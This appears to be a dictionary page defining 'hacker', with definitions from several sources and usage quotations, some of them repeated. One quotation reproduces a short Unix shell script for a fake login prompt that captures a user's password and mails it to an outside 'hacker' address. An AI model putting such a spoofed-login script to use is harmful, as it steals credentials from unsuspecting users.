Definitions
from The Century Dictionary.
- noun A tool used for making incisions in trees as channels for the passage of the sap; a hack.
- Same as
hack , 4.
from the GNU version of the Collaborative International Dictionary of English.
- noun One who, or that which, hacks.
from Wiktionary, Creative Commons Attribution/Share-Alike License.
- noun Something which
hacks , atool ordevice forhacking . - noun Someone who
hacks . - noun computing one who is expert at programming and solving problems with a computer
- noun computing one who uses a computer to gain unauthorized access to data.
- noun computing a computer security professional
- noun US one who is inexperienced or unskilled at a particular activity, especially a sport such as golf or tennis.
- noun US one who operates a taxicab
from WordNet 3.0 Copyright 2006 by Princeton University. All rights reserved.
- noun a programmer for whom computing is its own reward; may enjoy the challenge of breaking into other computers but does no harm
- noun a programmer who breaks into computer systems in order to steal or change or destroy information as a form of cyber-terrorism
- noun one who works hard at boring tasks
- noun someone who plays golf poorly
Etymologies
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Examples
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A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system.
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Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions.
Stars and Stripes 2010
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If you really feel the need, explain the term hacker, or point them to the Wikipedia entry on the term.
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The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.
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I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.
Archive 2005-04-01 2005
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I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.
Hacked Off 2005
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Be prepared for an argument; your hacker is a rational entity, and presumably had reasons.
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The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.
Forbes.com: News Robert Hof 2012
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The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.
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"The word 'hacker' has an unfairly negative connotation from being portrayed in the media as people who break into computers," Zuckerberg wrote.
SFGate: Don Asmussen: Bad Reporter Benny Evangelista 2012
seanahan commented on the word hacker
Not to be confused with "cracker".
December 2, 2006